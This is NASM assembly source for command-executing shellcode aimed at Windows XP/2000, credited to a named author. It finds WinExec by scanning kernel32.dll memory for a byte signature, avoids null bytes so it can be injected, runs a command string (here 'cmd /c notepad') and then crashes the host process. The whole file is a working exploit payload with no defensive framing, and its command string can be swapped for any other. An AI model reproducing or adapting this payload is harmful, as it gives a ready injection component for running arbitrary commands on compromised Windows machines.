; Mostly Generic WinXP (Maybe 2K) SP independent ; command executing shellcode. ; Peter4020@hotmail.com ; ; nasmw -s -fbin -o gencmd.s gencmd.asm bits 32 start: jmp short data ; jump to call back for data address continue: pop edi ; edi = data address :o) mov ecx, 11111111h ; max command length = 286331153 bytes ;o) mov ebx, ecx ; save max command length scan: cld ; direction flag = 0 (auto increment) mov al, 0ffh ; look for byte 0xff repne scasb ; repeat while not found xchg ebx, ecx ; when found, restore ecx; ebx = ecx - repetitions sub ecx, ebx ; ecx = length of data string add edi, 11111110h ; null friendly addition sub edi, 11111111h ; sub one more than added = sub edi, 01h inc byte [edi] ; make our 0xff a NULL add ecx, 11111110h ; ... sub ecx, 11111111h ; ... sub edi, ecx ; edi = start of string xor esi, esi ; clear esi inc esi ; winexec; cmdshow; 01h (sw_normal) push esi ; set up winexec push edi ; ... mov ebx, 0c458b66h ; signature string unique to winexec function mov ecx, 11111111h ; trawl 286331153 bytes mov edi, 77e60101h ; winxp kernel32.dll base + 0x0101 hex (null friendly) trawlmem: inc edi ; if not signature, move on mov al, 066h ; look for start of signature string repne scasb ; scan for start of signature string jmp short checkbytes ; if start of sig. str. found, check whole sig. nop ; (just to remove a nasty null) checkbytes: dec edi ; go back to start of possible start of sig. str. push dword [edi] ; push data referenced by edi pop esi ; pop the value into esi cmp ebx, esi ; check with signature string je gotcha ; if equal, we got our winexec! jmp short trawlmem ; if not, let's try again ... gotcha: lea eax, [edi-16h] ; get to start of winexec function call eax ; call winexec int 3h ; crash process after executing command data: call continue ; call back db "cmd /c notepad", 0ffh ; is there no end to the evil?